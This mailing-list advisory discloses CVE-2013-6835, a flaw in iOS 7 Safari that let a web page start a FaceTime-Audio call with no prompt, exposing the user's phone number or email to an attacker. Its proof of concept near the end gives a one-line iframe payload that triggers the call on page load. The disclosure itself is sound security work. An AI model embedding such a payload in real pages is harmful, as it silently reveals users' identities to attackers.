Mailing List Archive

[CVE-2013-6835] - iOS 7.0.6 Safari/Facetime-Audio Privacy issue
- Affected Vendor: https://www.apple.com/
- Affected Software: Safari/Facetime on iOS
- Affected Version: iOS 7 prior to 7.1
- Issue Type: Lack of user confirmation leading to a call being
established, revealing the user's identity (phone number or email address)
- Release Date: March 10, 2014
- Discovered by: Guillaume Ross / @gepeto42
- CVE Identifier: CVE-2013-6835
- Issue Status: Vendor has published iOS 7.1 which resolves this issue by
adding a prompt before establishing the call.

**Summary**

Facetime allows video calls for iOS. Facetime-Audio, added in iOS 7, allows
audio only calls. The audio version uses a vulnerable URL scheme which is
not used by Facetime Video.
The URL Scheme used for Facetime-Audio allows a website to establish a
Facetime-audio call to the attacker's account, revealing the phone number
or email address of the user browsing the site.

By entering the URL in an inline frame, the attack is automated, and
similar to a CSRF attack across apps. Safari does not prompt the user
before establishing the call.

**Impact**

A user browsing the web could click a malicious link or load a page
containing a malicious link within an inline frame. The user would then
automatically contact the phone number or email address specified in the
URL, revealing his identity to the attacker.

**Proof of Concept**

Entering the following URL in iOS would trigger the call to the email
address specified: facetime-audio://user@host.com

This inline frame would have the user call the specified email address as
soon as the HTML page is loaded, without prompting the user:

<iframe src="facetime-audio://user@host.com"></iframe>

Security Content of iOS 7.1: http://support.apple.com/kb/HT6162